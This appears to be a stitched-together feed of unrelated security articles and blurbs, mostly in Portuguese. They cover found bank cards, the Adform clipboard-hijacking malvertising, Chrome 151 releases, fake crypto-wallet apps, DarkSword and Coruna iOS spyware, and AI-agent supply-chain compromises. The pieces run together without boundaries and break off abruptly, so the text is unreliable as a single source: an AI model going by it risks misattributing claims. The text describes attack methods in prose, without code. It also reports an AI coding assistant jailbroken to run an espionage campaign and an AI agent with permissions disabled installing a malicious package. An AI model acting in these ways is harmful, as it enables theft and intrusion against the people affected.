Os grupos de bairro frequentemente ficam cheios de mensagens sobre cartões bancários perdidos que foram encontrados. As pessoas têm boas intenções e querem ajudar um vizinho, então publicam uma foto do cartão com o número e outros dados completamente visíveis. Outras pessoas dizem no grupo que deixaram o cartão com um segurança, caixa ou gerente da loja ou estabelecimento onde o encontraram, ou do mais próximo. Hoje vamos explicar por que nenhuma dessas opções é uma boa ideia e o que você realmente deve fazer se encontrar o cartão bancário de outra pessoa.
O que NÃO fazer ao encontrar um cartão perdido e por quê
Vamos explicar por que você não deve publicar em um grupo uma foto do cartão com os dados visíveis, ficar com ele ou entregá-lo a um desconhecido. O primeiro motivo é o mais óbvio, mas vale a pena reforçar: os dados do cartão são informações privadas e não devem ser compartilhados com pessoas que não têm motivo para vê-los. Uma foto publicada em um grupo pode acabar nas mãos de criminosos, que podem tentar usar esses dados para fazer compras fraudulentas pela internet. O pior cenário é uma foto mostrando os dois lados do cartão e também expondo o código de segurança de três dígitos, conhecido como CVC, CVV ou CVP, que fica no verso.
Agora, um ponto menos óbvio: por que você não deve publicar que encontrou um cartão, mesmo com o número borrado na foto, e ficar com ele até o proprietário aparecer. Como não há garantia de que você foi a primeira pessoa a pegar o cartão, fazer isso pode colocar você sob suspeita caso desapareça dinheiro da conta. Mesmo que você não tenha absolutamente nada a ver com qualquer furto, o simples fato de o cartão ter ficado em sua posse por algum tempo ainda pode fazer com que você tenha que dar explicações ao proprietário ou à polícia.
A mesma lógica se aplica a entregar o cartão a terceiros. Um segurança, caixa ou gerente é tão desconhecido quanto qualquer pessoa, e nenhum deles tem autoridade especial para assumir a responsabilidade por um cartão bancário encontrado. Entregar o cartão a essas pessoas dá a elas a oportunidade de usar o dinheiro de outra pessoa e, se isso acontecer, você pode acabar sob investigação.
A abordagem “o que os olhos não veem, o coração não sente”, ou seja, deixar o cartão onde o encontrou ou movê-lo para um local mais visível, é mais segura para você, mas ainda assim não é a atitude correta. Se você fizer isso, outra pessoa vai encontrá-lo, e não há garantia de que será uma pessoa bem-intencionada. Ela pode tentar retirar dinheiro da conta do verdadeiro proprietário. Portanto, essa também não é uma boa opção.
O que você DEVE fazer com um cartão bancário encontrado
Agora vamos falar sobre o que você deve fazer. A atitude correta pode surpreender você: ligue para o banco que emitiu o cartão, informe que encontrou o cartão e, depois… destrua o cartão. É possível que o proprietário ainda nem tenha percebido o desaparecimento do cartão. Com o uso de pagamentos por aproximação, um cartão físico pode ficar bastante tempo sem ser usado na carteira. O banco bloqueará o cartão, avisará o proprietário de que o cartão desapareceu e emitirá um novo.
Essa última etapa, destruir o cartão, pode surpreender e até gerar resistência, mas mantemos nossa recomendação: um cartão encontrado deve ser destruído. Dessa forma, ninguém poderá usá-lo, e você não precisará ficar com a propriedade de outra pessoa nem correr o risco de ser considerado suspeito caso desapareça dinheiro da conta. A maneira mais simples e confiável de destruir um cartão é cortá-lo cuidadosamente em pequenos pedaços com uma tesoura de cozinha e jogá-los no lixo ou reciclá-los.
Vale a pena ter algo em mente: atualmente, um cartão físico não representa uma perda tão grande para seu verdadeiro proprietário. Para começar, os bancos reemitem cartões de forma rápida e fácil. Na maioria dos bancos, você nem precisa ir a uma agência, pois o novo cartão é entregue diretamente na sua casa.
Além disso, a emissão de um novo cartão normalmente não impede o proprietário de fazer pagamentos. Em muitos casos, basta usar um cartão virtual ou outra forma de pagamento. Portanto, um cartão destruído causa muito menos transtorno ao proprietário do que o risco de ele cair nas mãos erradas e ser usado para retirar dinheiro da conta.
E se, de alguma forma, o proprietário irritado conseguir encontrar você e fizer perguntas, basta mostrar este artigo para que ele entenda o problema que você ajudou a evitar.
Quando você não deve destruir um cartão encontrado
Além dos cartões bancários, existem também cartões de múltiplas funções, como os emitidos para crianças e estudantes, que combinam algumas funções, como cartão de acesso à escola ou universidade e cartão de transporte público. Crianças, especialmente as mais novas, perdem esse tipo de cartão com bastante frequência. Restabelecer todas as funções desses cartões pode levar muito mais tempo do que reemitir um cartão bancário, e os valores armazenados neles geralmente são pequenos. Por isso, se você encontrar um desses cartões, o melhor a fazer é levá-lo à escola ou universidade indicada no cartão e entregá-lo ao segurança ou à recepção.
Em resumo: o que fazer ao encontrar um cartão bancário de outra pessoa
Para resumir, se um cartão bancário perdido chegar às suas mãos:
Procure o número de telefone do banco no cartão. Normalmente, ele está impresso no próprio cartão. Caso não esteja, você pode encontrá-lo facilmente no site oficial do banco. Depois, ligue para o banco. Informe que você encontrou o cartão de outra pessoa.
Depois da ligação, destrua o cartão: corte-o em pequenos pedaços com uma tesoura e jogue-os fora.
E mais um lembrete sobre o que não fazer: não publique fotos do cartão ou de seus dados em grupos de conversa ou nas redes sociais, não fique com o cartão na esperança de localizar o proprietário e não o entregue a desconhecidos.
Também recomendamos acompanhar nosso blog para ficar por dentro das ameaças online mais recentes. E fique à vontade para compartilhar este artigo no grupo do seu bairro, para que seus vizinhos saibam exatamente o que fazer caso encontrem o cartão bancário de outra pessoa.
You've had your iPhone stolen. A day later, you get a text from Apple saying they've found it, and a very helpful woman called Alice from Apple Support calls to walk you through recovering it. She's polite. She's professional. But she is not from Apple. She's not even human. And she's about to break into your iPhone.
Meanwhile, OpenAI, Anthropic, and Meta have all announced - with varying degrees of drama - that their AI agents have "broken out of the sandbox" and gone hacking. James takes a step back and asks the awkward question: is this really an emergent AI apocalypse, or did they just leave the door open?
All this and more in episode 483 of the "Smashing Security" podcast with cybersecurity expert and keynote speaker Graham Cluley, and special guest James Ball.
O Adform, uma importante plataforma de publicidade, permaneceu comprometido por aproximadamente 24 horas (desde o fim do dia 26 de julho até a noite de 27 de julho) após ser alvo de um ataque por invasores desconhecidos. Poucas pessoas fora do setor conhecem o nome, mas o Adform veicula cerca de 1,5 bilhão de impressões de anúncios todos os dias em dezenas de milhares de sites. Isso significa que qualquer pessoa que visitasse um site que veiculasse anúncios do Adform poderia ter sido alvo do ataque.
Os invasores não estavam tentando instalar malware. Em vez disso, eles executaram um script no navegador da vítima que verificava a área de transferência a cada três segundos. Se detectasse que um endereço de carteira de criptomoedas havia sido copiado, o script o substituía pelo endereço de carteira dos invasores. Assim, se alguém tivesse um site com o anúncio malicioso aberto em uma guia do navegador e estivesse realizando uma transação com criptomoedas em outra guia ou em um aplicativo dedicado, os fundos poderiam acabar nas mãos dos invasores. Os responsáveis pelo Adform detectaram o ataque e corrigiram o problema, mas não há garantia de que um incidente semelhante não volte a acontecer. Por isso, todos os usuários devem se proteger contra publicidade maliciosa. Confira nossas dicas no final desta postagem.
O que sabemos sobre o ataque ao Adform
Não há muitas informações disponíveis, pois a declaração oficial da empresa aborda apenas o que aconteceu e quando, sem explicar a causa do incidente. Uma pesquisa independente revelou detalhes técnicos sobre como usuários comuns foram alvo do ataque, mas nada disso explica como o próprio Adform foi invadido inicialmente.
O que está claro é que os invasores inseriram seu próprio código no JavaScript carregado em todos os sites que veiculavam anúncios do Adform. Sempre que um anúncio estava prestes a ser exibido, o script era carregado do servidor do Adform, selecionava o anúncio correto e o exibia. No entanto, os invasores haviam acrescentado um conjunto de funções maliciosas: monitorar a área de transferência, enviar ao próprio servidor dados sobre o site em que o ataque ocorreu e o endereço IP da vítima, além de substituir endereços de carteiras de Bitcoin, Ethereum e Tron.
Para que o ataque funcionasse, bastava uma guia do navegador aberta com qualquer site que veiculasse anúncios do Adform. Não importava o tipo de site, a aparência do anúncio ou a qual anunciante ele pertencia. A única coisa que importava era se o site usava HTTP ou HTTPS. Segundo o Adform, o ataque não poderia ser realizado em um site carregado por HTTPS, pois, nesse caso, a conexão com o servidor dos invasores era bloqueada.
A empresa não divulgou informações sobre quantos usuários foram afetados nem sobre quantos sites ainda veiculam conteúdo e anúncios por HTTP.
Anúncios maliciosos fazem parte do nosso dia a dia
Infelizmente, anúncios on-line perigosos se tornaram um problema sistêmico. E não estamos falando apenas de anúncios de suplementos de procedência duvidosa ou de jogos de azar. Estamos falando de anúncios que disseminam malware ou levam a sites criados para roubar dados de pagamento e outras informações valiosas. Os invasores construíram uma infraestrutura em escala industrial para realizar esse tipo de ataque e utilizam diversas abordagens.
• Sequestro das contas de anúncios de marcas legítimas e respeitáveis. Basta roubar a senha de alguém da equipe de marketing. A partir daí, os cibercriminosos veiculam anúncios se passando pela empresa que invadiram e promovendo atualizações falsas de aplicativos, promoções fraudulentas e golpes semelhantes. Nos piores casos, como nas invasões de contas da adtech.de e da adxpansion.com, os invasores conseguiram veicular anúncios que redirecionavam as vítimas diretamente para a instalação automática de malware (downloads drive-by).
• Comprar anúncios diretamente. Isso mesmo. Os invasores simplesmente criam suas próprias contas de anunciante e veiculam anúncios para seus sites de phishing e malware, como qualquer outra empresa na Internet.
Como os anúncios aparecem praticamente em todos os lugares, em sites, aplicativos e redes sociais, essas ameaças podem surgir em praticamente qualquer contexto. E existem variações dessa ameaça tanto em computadores quanto em dispositivos móveis.
• Use um serviço de DNS seguro com filtragem de conteúdo integrada. Eles são eficazes no bloqueio da maioria das redes de anúncios conhecidas. A ideia é simples: sempre que seu dispositivo tenta se conectar a um servidor, o serviço DNS bloqueia solicitações para domínios de anúncios conhecidos. Isso desativa os anúncios em todos os lugares de uma só vez: em smart TVs, em todos os navegadores e em aplicativos para dispositivos móveis. Alguns provedores de Internet oferecem esse serviço, mas uma solução mais simples e universal é configurar o DNS seguro no roteador da sua casa seguindo nosso guia.
• Ative os bloqueadores de anúncios e rastreadores em sua solução completa de cibersegurança. Recomendamos Kaspersky Premium, que chama esse recurso de Antibanner. Esse tipo de proteção é especialmente importante durante viagens, pois o DNS seguro pode causar problemas de conexão em hotéis, restaurantes e aeroportos.
• Use proteção para o navegador. Um software de segurança básico pode impedir o download e a execução de um malware de roubo de dados, mas um pequeno script, como o usado no ataque ao Adform, ainda pode passar despercebido. Para se proteger contra esse tipo de ameaça, use uma solução capaz de analisar o que realmente está acontecendo no navegador. No Kaspersky Premium, esse recurso é oferecido pela extensão de navegador Kaspersky Protection. Ela protege contra a coleta de dados on-line, bloqueia banners de anúncios, protege seus pagamentos, protege o que você digita e bloqueia ataques de phishing.
Quer saber quais outros riscos podem estar escondidos nos anúncios on-line e como se proteger? Confira outras postagens:
Apple sent a new wave of mercenary spyware threat notifications to targeted users in 110 countries, while making the warnings more visible on iPhones. The alerts signal suspected targeting, not confirmed compromise, and Apple is urging affected users to verify the warning, consider Lockdown Mode, and seek expert help.
Firefox for iOS is testing a native, EasyList-powered ad blocker that requires no extensions, though it can't block Google search ads or Firefox's own sponsored content.
Full details and PoC exploit code for CVE-2026-39868 are public. The macOS kernel vulnerability in DTrace lets an app corrupt kernel memory. Patch now.
Google released a series of Chrome 151 updates on Wednesday, July 15, 2026, covering desktop, Android, and iOS platforms, while ChromeOS devices began receiving their latest Chrome Beta update a day earlier. The latest Desktop Update introduces new Beta and Early Stable builds for Windows, Mac, and Linux, alongside stability and performance improvements across multiple platforms.
Chrome Beta and Desktop Update Reach Version 151.0.7922.34
The latest Chrome Beta Desktop Update has been released for Windows, Mac and Linux, updating the Beta channel to version 151.0.7922.34. Google said a partial list of changes is available through the project's Git log. Users interested in moving between release channels can do so through the available switching options, while any newly discovered issues can be reported by filing a bug. The company also pointed users to its community help forum for troubleshooting and discussions about common issues.Google also introduced an Early Stable Desktop Update, rolling out Chrome 151 versions 151.0.7922.34 and 151.0.7922.35 to a small percentage of Windows and Mac users. According to the company, a complete list of changes for the build is available in the release log, with additional information provided for its Early Stable rollout process.
Chrome 151 Expands Across Android and iOS
On Android, Chrome 151 (151.0.7922.29) entered an Early Stable rollout for a limited number of users and is expected to reach more devices through Google Play over the following days. Google stated that the release focuses on stability and performance improvements, with complete technical changes documented in the Git log.The Chrome Beta release for Android, also carrying version 151.0.7922.29, is already available through Google Play. Google said users can review a partial list of changes in the Git log, while information about new features is available on the Chromium blog alongside updates covering the web platform.For iPhone and iPad users, Chrome Stable 151 (151.0.7922.25) is scheduled to appear on the App Store within hours of the announcement. Similar to the Android release, the update delivers stability and performance improvements. Meanwhile, Chrome Beta 151 (151.0.7922.26) for iOS is expected to reach the App Store over the next few days, with Google publishing a partial change log for the release.
ChromeOS Beta Update Also Released
Ahead of the broader Chrome 151 announcements, Google began rolling out a Chrome Beta update for ChromeOS and ChromeOS Flex on Tuesday, July 14, 2026. The Beta channel is being upgraded to OS version 16733.19.0, paired with browser version 151.0.7922.23, for most supported ChromeOS devices.Google encouraged users across all releases to report newly identified bugs through its official reporting system, submit feedback directly through Chrome, or seek assistance via its ChromeOS and Chromebook community forums. The company also reminded users that instructions for switching release channels remain available for those interested in testing future Chrome Beta and Desktop Update builds.
Restore data from an iCloud backup without the necessity of resetting your iPhone. Discover proven methods to get back your photos, messages, contacts, and many more things in a very easy way.
Mesmo que você mantenha seus criptoativos em uma cold wallet (offline) e utilize dispositivos da Apple, que têm forte reputação em segurança, cibercriminosos ainda podem encontrar formas de desviar seus valores. Esses agentes maliciosos estão combinando técnicas conhecidas em novas cadeias de ataque, incluindo a atração de vítimas diretamente dentro da App Store.
Clones de carteiras de criptomoedas
Em março passado, identificamos aplicativos de phishing no topo dos rankings da App Store chinesa, com ícones e nomes que imitavam ferramentas populares de gerenciamento de carteiras de criptomoedas. Como restrições regionais bloqueiam vários aplicativos oficiais de carteiras na App Store chinesa, invasores passaram a explorar essa lacuna. Eles criaram aplicativos falsos com ícones semelhantes aos originais e nomes com erros ortográficos intencionais, provavelmente para contornar a moderação da App Store e enganar os usuários.
Aplicativos de phishing na App Store aparecendo nos resultados de busca por Ledger Wallet (anteriormente Ledger Live)
Além desses, identificamos diversos aplicativos com nomes e ícones que não tinham qualquer relação com criptomoedas. No entanto, seus banners promocionais alegavam que poderiam ser usados para baixar e instalar aplicativos oficiais de carteiras digitais que não estão disponíveis na App Store da região.
Banners em páginas de aplicativos afirmando que podem ser usados para baixar o aplicativo oficial do TokenPocket, que não está disponível na App Store local.
Ao todo, identificamos 26 aplicativos de phishing que se passam pelas seguintes carteiras populares:
MetaMask
Ledger
Trust Wallet
Coinbase
TokenPocket
imToken
Bitpie
Alguns outros aplicativos muito semelhantes ainda não apresentavam funcionalidades de phishing, mas todos os indícios apontam que estão vinculados aos mesmos agentes maliciosos. É provável que pretendam adicionar funcionalidades maliciosas em atualizações futuras.
Para conseguir a aprovação desses aplicativos na App Store, os desenvolvedores incluíram funcionalidades básicas, como jogos, calculadoras ou gerenciadores de tarefas.
Instalar qualquer um desses clones é o primeiro passo para perder seus criptoativos. Embora os aplicativos em si não roubem diretamente criptomoedas, frases-semente (frases de recuperação) ou senhas, eles funcionam como isca, explorando a confiança do usuário por estarem listados na App Store oficial. Após a instalação e uso, no entanto, o aplicativo abre um site de phishing no navegador da vítima, projetado para imitar a App Store, e então induz o usuário a instalar uma versão comprometida da carteira de criptomoedas correspondente. Os invasores criaram múltiplas versões desses módulos maliciosos, cada uma adaptada a uma carteira específica. É possível encontrar uma análise técnica detalhada desse ataque em nossa publicação no Securelist.
Uma vítima que cai no golpe é inicialmente induzida a instalar um perfil de provisionamento, que permite o sideload de aplicativos em um iPhone fora da App Store. Em seguida, esse perfil é utilizado para instalar o próprio aplicativo malicioso.
Um site falso da App Store induzindo o usuário a instalar um aplicativo que se passa pelo Ledger Wallet
No exemplo acima, o malware é baseado no aplicativo original da Ledger, com funcionalidades de trojan integradas. O aplicativo é visualmente idêntico ao original, mas, ao ser conectado a uma carteira de hardware, exibe uma janela solicitando a frase-semente, supostamente para restaurar o acesso. Esse não é o procedimento padrão. Normalmente, é necessário apenas inserir um PIN, nunca a frase de recuperação. Caso a vítima seja enganada pela aparente legitimidade do aplicativo e insira sua frase-semente, essa informação é imediatamente enviada ao servidor dos invasores, concedendo a eles acesso total aos criptoativos da vítima.
Sideload fora da App Store
Um componente crítico desse esquema envolve a instalação de malware no iPhone da vítima por meio da evasão da App Store e de seu processo de verificação. Esse método é executado de forma semelhante ao infostealer para iOS SparkKitty, identificado anteriormente. Os invasores conseguiram obter acesso ao Apple Developer Enterprise Program. Por apenas US$ 299 por ano, e após um processo que inclui entrevista e verificação corporativa, esse programa permite que organizações emitam seus próprios perfis de configuração e aplicativos para download direto nos dispositivos dos usuários, sem necessidade de publicação na App Store.
Para instalar o aplicativo, a vítima precisa primeiro instalar um perfil de configuração que viabiliza o download direto do malware, contornando a App Store. Observe o ícone de verificação verde
De modo geral, perfis corporativos são projetados para permitir que organizações distribuam aplicativos internos diretamente nos dispositivos de seus colaboradores. Esses aplicativos não precisam ser publicados na App Store e podem ser instalados em um número ilimitado de dispositivos. Infelizmente, esse recurso é frequentemente explorado de forma indevida. Esses perfis são amplamente utilizados para distribuir softwares que não atendem às políticas da Apple, como cassinos on-line, mods pirateados e, evidentemente, malware.
É exatamente por isso que o site falso que imita a Apple Store induz o usuário a instalar um perfil de configuração antes de disponibilizar o aplicativo assinado por esse perfil.
Roubo de criptomoedas por meio de aplicativos e extensões no macOS
Muitos usuários de criptomoedas preferem gerenciar suas carteiras em um computador, em vez de um smartphone, optando com frequência por dispositivos com macOS. Não surpreende, portanto, que a maioria dos infostealers voltados para macOS tenha como alvo dados de carteiras de criptomoedas, de uma forma ou de outra. Recentemente, porém, uma nova tática maliciosa vem ganhando força. Além de roubar dados armazenados, os atacantes passaram a incorporar diálogos de phishing diretamente em aplicativos legítimos de carteiras já instalados nos computadores das vítimas. No início deste ano, o infostealer MacSync passou a utilizar esse recurso. Ele se infiltra nos sistemas por meio de ataques do tipo ClickFix. Usuários que buscam determinados softwares são direcionados a sites falsos com instruções fraudulentas para instalar o aplicativo executando comandos no Terminal. Esse processo executa o infostealer, que coleta senhas e cookies armazenados no Chrome, conversas de mensageiros populares e dados de extensões de carteiras de criptomoedas baseadas em navegador.
No entanto, o ponto mais relevante ocorre na etapa seguinte. Se a vítima já possui um aplicativo legítimo da Trezor ou da Ledger instalado, o infostealer baixa módulos adicionais e substitui partes do aplicativo por código trojanizado. Em seguida, o malware assina novamente o arquivo modificado, de modo que, após essas alterações, o Gatekeeper, mecanismo de proteção nativo do macOS, permita a execução do aplicativo sem solicitar permissões adicionais ao usuário. Embora essa técnica nem sempre funcione, ela é eficaz em aplicativos mais simples desenvolvidos com base no Electron.
O aplicativo trojanizado, então, solicita ao usuário a frase-semente da carteira
Ao abrir o aplicativo comprometido, ele simula um erro e inicia um suposto “processo de recuperação”, solicitando que o usuário informe a frase-semente.
Repetidamente, os invasores demonstram que nenhum dispositivo é totalmente invulnerável. Com tantos desenvolvedores e usuários de criptomoedas utilizando macOS e iOS, agentes maliciosos passaram a estruturar ataques em escala industrial para ambas as plataformas. Manter-se seguro exige uma abordagem de defesa em profundidade, aliada a ceticismo e vigilância constantes.
Baixe aplicativos apenas de fontes confiáveis, como o site oficial do desenvolvedor ou sua página na App Store. Como até mesmo lojas oficiais podem conter malware, verifique sempre o desenvolvedor do aplicativo.
Analise também a avaliação do app, a data de publicação e o número de downloads.
Leia as avaliações, especialmente as negativas. Ordene as avaliações por data para analisar a versão mais recente. Os invasores frequentemente começam com um aplicativo totalmente legítimo, que acumula boas avaliações, antes de introduzir funcionalidades maliciosas em uma atualização posterior.
Nunca copie e cole comandos no Terminal sem ter 100% de certeza sobre o que eles fazem. Esses ataques se tornaram muito populares ultimamente, muitas vezes disfarçados como etapas de instalação para aplicativos de IA como Claude Code ou OpenClaw.
Utilize uma solução de segurança abrangente em todos os seus computadores e smartphones. Recomendamos o Kaspersky Premium. Essa medida reduz significativamente o risco de acessar sites de phishing ou instalar aplicativos maliciosos.
Nunca insira sua frase-semente em um aplicativo de carteira de hardware, em um site ou em um chat. Em todos os cenários, seja migrando para uma nova carteira, reinstalando aplicativos ou recuperando uma carteira, a frase inicial deve ser inserida exclusivamente no próprio dispositivo de hardware (nunca em um aplicativo móvel ou de desktop).
Sempre verifique o endereço do destinatário diretamente na tela da carteira de hardware, como forma de prevenir ataques de substituição de endereço.
Armazene suas frases-semente da maneira mais segura possível, como em uma placa de metal ou em um envelope lacrado em um cofre. É melhor não armazená-las em um computador, mas se essa for sua única opção, use um cofre seguro e criptografado como Kaspersky Password Manager.
Ainda acredita que dispositivos da Apple são totalmente seguros? Reavalie essa percepção ao conhecer os seguintes casos:
DarkSword is a sophisticated piece of malware—probably government designed—that targets iOS.
Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine.
DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered Coruna iOS exploit kit. Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns.
A week after it was identified, a version of it leaked onto the internet, where it is being used more broadly.
This news is a month old. Your devices are safe, assuming you patch regularly.
O DarkSword e o Coruna são novas ferramentas utilizadas em ataques invisíveis a dispositivos iOS. Esses ataques não exigem interação do usuário e já estão sendo usados em larga escala por agentes mal-intencionados. Antes do surgimento dessas ameaças, a maioria dos usuários do iPhone não precisava se preocupar com a segurança de dados. Poucos grupos realmente se preocupavam com isso, como políticos, ativistas, diplomatas, executivos de negócios de alto nível e pessoas que lidam com dados extremamente confidenciais, já que eles poderiam vir a ser alvos de agências de inteligência estrangeiras. Já discutimos spywares avançados usados contra esses grupos anteriormente, e observamos como era raro encontrá-los.
No entanto, o DarkSword e o Coruna, descobertos por pesquisadores no início deste ano, são revolucionários. Esses malwares estão sendo usados em infecções em massa de usuários comuns. Nesta postagem, explicamos por que essa mudança ocorreu, os riscos dessas ferramentas e como se proteger.
O que sabemos sobre o DarkSword e como ele pode infectar o seu iPhone
Em meados de março de 2026, três equipes de pesquisa diferentes coordenaram a divulgação das suas descobertas sobre um novo spyware chamado de DarkSword. Essa ferramenta é capaz de invadir silenciosamente dispositivos com o iOS 18, sem que o usuário perceba que algo está errado.
Agora que isso já foi esclarecido, vamos voltar a falar sobre o DarkSword. A pesquisa mostra que esse malware infecta as vítimas quando elas visitam sites perfeitamente legítimos que contêm códigos maliciosos. O spyware se instala sem qualquer interação do usuário: basta acessar uma página comprometida. Isso é conhecido como técnica de infecção zero clique. Os pesquisadores relatam que milhares de dispositivos já foram infectados desta forma.
Para comprometer um dispositivo, o DarkSword usa uma cadeia de exploits com seis vulnerabilidades para evitar o sandbox, aumentar privilégios e executar código. Assim que o dispositivo é infectado, o malware consegue coletar dados, incluindo:
Senhas
Fotos
Conversas e dados do iMessage, WhatsApp e Telegram
Histórico do navegador
Informações dos aplicativos Calendário, Notas e Saúde da Apple
Além disso, o DarkSword coleta dados de carteiras de criptomoedas, atuando como malware de dupla finalidade para espionagem e roubo de criptoativos.
A única boa notícia é que o spyware não sobrevive a uma reinicialização. O DarkSword é um malware sem arquivo, o que significa que ele vive na RAM do dispositivo e nunca se incorpora ao sistema de arquivos.
Coruna: direcionado às versões mais antigas do iOS
Apenas duas semanas antes da descoberta do DarkSword se tornar pública, os pesquisadores revelaram outra ameaça que tinha o iOS como alvo, chamada de Coruna. Esse malware consegue comprometer dispositivos que executam softwares mais antigos, especificamente as versões 13 a 17.2.1 do iOS. O método utilizado pelo Coruna é exatamente igual ao do DarkSword: as vítimas visitam um site legítimo injetado com código malicioso que, em seguida, infecta o dispositivo delas com o malware. Todo o processo é completamente invisível e não requer interação do usuário.
Uma análise detalhada do código do Coruna revelou que ele explora 23 vulnerabilidades distintas do iOS, várias delas localizadas no WebKit da Apple. Vale lembrar que, de um modo geral (fora da UE), todos os navegadores iOS precisam usar o mecanismo WebKit. Isso significa que essas vulnerabilidades não afetam apenas os usuários do Safari, mas também qualquer pessoa que use outros navegadores no iPhone.
A versão mais recente do Coruna, assim como o DarkSword, inclui modificações projetadas para drenar carteiras de criptomoedas. Ele também coleta fotos e, em alguns casos, informações de e-mails. Ao que tudo indica, roubar criptomoedas parece ser o principal motivo da implementação generalizada do Coruna.
Quem criou o Coruna e o DarkSword, e como eles foram disseminados?
A análise do código de ambas as ferramentas sugere que o Coruna e o DarkSword provavelmente foram desenvolvidos por grupos diferentes. No entanto, ambos são softwares criados por empresas patrocinadas pelo governo, possivelmente dos EUA. Isso se reflete na alta qualidade do código: não são kits montados com partes aleatórias, mas exploits projetados de forma uniforme. Em algum momento, essas ferramentas vazaram e foram parar nas mãos de gangues de cibercriminosos.
Uma teoria sugere que um funcionário da empresa que desenvolveu o Coruna vendeu o malware para hackers. Desde então, ele tem sido usado para drenar carteiras de criptomoedas de usuários na China. Alguns especialistas estimam que pelo menos 42 mil dispositivos foram infectados somente neste país.
Quanto ao DarkSword, os cibercriminosos já o usaram para infectar dispositivos de usuários na Arábia Saudita, Turquia e Malásia. O problema se agrava pelo fato de que os invasores que implementaram o DarkSword deixaram o código-fonte completo nos sites infectados, facilitando a detecção dele por outros grupos criminosos.
O código também inclui comentários detalhados explicado exatamente o que faz cada componente, reforçando a hipótese de que ele surgiu no Ocidente. Essas instruções detalhadas tornam mais fácil para outros hackers adaptarem a ferramenta para interesses próprios.
Como se proteger do Coruna e do DarkSword
Dois malwares poderosos que permitem a infecção em massa de iPhones sem exigir qualquer interação do usuário caíram nas mãos de um grupo essencialmente ilimitado de cibercriminosos. Para ser infectado pelo Coruna ou pelo DarkSword, basta que você visite o site errado na hora errada. Portanto, este é um daqueles casos em que todos os usuários precisam levar a sério a segurança do iOS, não apenas aqueles que pertencem a grupos de alto risco.
A melhor coisa a fazer para se proteger do Coruna e do DarkSword é atualizar assim que possível os dispositivos para a versão mais recente do iOS ou do iPadOS 26. Se isso não for possível (por exemplo, se o dispositivo for mais antigo e não compatível com o iOS 26), ainda assim é recomendado baixar a versão mais recente disponível. Especificamente, procure as versões 15.8.7, 16.7.15 ou 18.7.7. A Apple aplicou correções em vários sistemas operacionais mais antigos, o que é raro.
Para proteger os dispositivos Apple contra malwares semelhantes que provavelmente aparecerão no futuro, recomendamos fazer o seguinte:
Instale as atualizações em todos os dispositivos da Apple o quanto antes. A empresa lança regularmente versões do SO que corrigem vulnerabilidades conhecidas. Não as ignore.
Ative a opção Otimização de segurança em segundo plano. Esse recurso permite que o dispositivo receba correções de segurança críticas além das atualizações completas do iOS, reduzindo o risco de exploração de vulnerabilidades pelos hackers. Para ativá-lo, vá para Configurações → Privacidade e segurança → Otimização de segurança em segundo plano e ative a opção Instalar automaticamente.
Considere usar o Modo de bloqueio. Essa é uma configuração de segurança reforçada que, apesar de limitar alguns recursos do dispositivo, bloqueia ou restringe ataques de forma significativa. Para ativá-lo, vá para Configurações → Privacidade e segurança → Modo de bloqueio → Ativar o Modo de bloqueio.
Reinicie o dispositivo uma vez por dia (ou mais). Isso interrompe a atuação de malwares sem arquivo, pois essas ameaças não são incorporadas ao sistema e desaparecem após a reinicialização.
Use o armazenamento criptografado para dados confidenciais. Mantenha chaves de carteiras de criptomoedas, fotos de documentos e dados confidenciais em um local seguro. Kaspersky Password Manager é uma ótima opção para isso, pois gerencia suas senhas, tokens de autenticação de dois fatores e chaves de acesso em todos os dispositivos, mantendo notas, fotos e documentos sincronizados e criptografados.
A ideia de que os dispositivos da Apple são à prova de balas é um mito. Eles são vulneráveis a ataques de zero clique, cavalos de Troia e técnicas de infecção ClickFix. Além disso, aplicativos maliciosos já foram encontrados na App Store mais de uma vez. Leia mais aqui:
In 2026, the question for security leaders is not whether a supply chain attack is coming. Every serious organization should assume it is. The question is whether their defense architecture can stop a payload it has never seen before. It’s a question that takes on even more critical implications at a time where trusted agentic automation increasingly becomes the norm.
In three weeks this spring, three threat actors each ran a tier-1 supply chain attack against widely deployed software: LiteLLM, a core AI infrastructure package, Axios, the most downloaded HTTP client in the JavaScript ecosystem, and CPU-Z, a trusted system diagnostic tool. Different vectors, different actors, different techniques. SentinelOne® stopped all three on the same day each attack launched, with no prior knowledge of any payload.
The more important story is the how. Each attack arrived as a zero-day at the moment of execution. Each exploited a trusted delivery channel: an AI coding agent running with unrestricted permissions, a phantom dependency staged eighteen hours before detonation, a properly signed binary from an official vendor domain. No signature existed for any of them. No IOA matched.
SentinelOne stopped all three. That outcome is a direct answer to the question every security leader is now running against: What does your defense do when the attack arrives through a channel you explicitly trust, carrying a payload you have never seen before?
The AI Arms Race in Security is Underway
Adversaries are no longer running manual campaigns at human speed. In September 2025, Anthropic disclosed a Chinese state-sponsored group that jailbroke an AI coding assistant and ran a full espionage campaign against approximately 30 organizations. The AI handled 80–90% of tactical operations autonomously (i.e., reconnaissance, vulnerability discovery, exploit development, credential harvesting, lateral movement, exfiltration) with minimal human direction. Anthropic noted only 4–6 human decision points per campaign. The attack achieved limited success across those targets, but the trajectory is clear: AI is compressing the human bottleneck in offensive operations. Security programs designed around manual-speed adversaries are calibrating to a threat that is moving faster.
The LiteLLM attack is the clearest recent example of what this looks like inside an AI development workflow. On March 24, 2026, threat actor TeamPCP compromised the LiteLLM Python package by obtaining PyPI credentials through a prior supply chain compromise of Trivy, a widely-used open-source security scanner. Two malicious versions (1.82.7 and 1.82.8) were published. Any system with those versions during the exposure window executed the embedded credential theft payload automatically. In one confirmed detection, an AI coding agent running with unrestricted permissions (claude --dangerously-skip-permissions) auto-updated to the infected version without human review — no approval, no alert, no visible action before the payload ran. SentinelOne detected and blocked the malicious Python execution on the same day across multiple environments. Most organizations running AI development workflows didn’t know they were exposed until after the fact. The gap where human review processes don’t reach is wide, and it grows with every AI agent added to a pipeline.
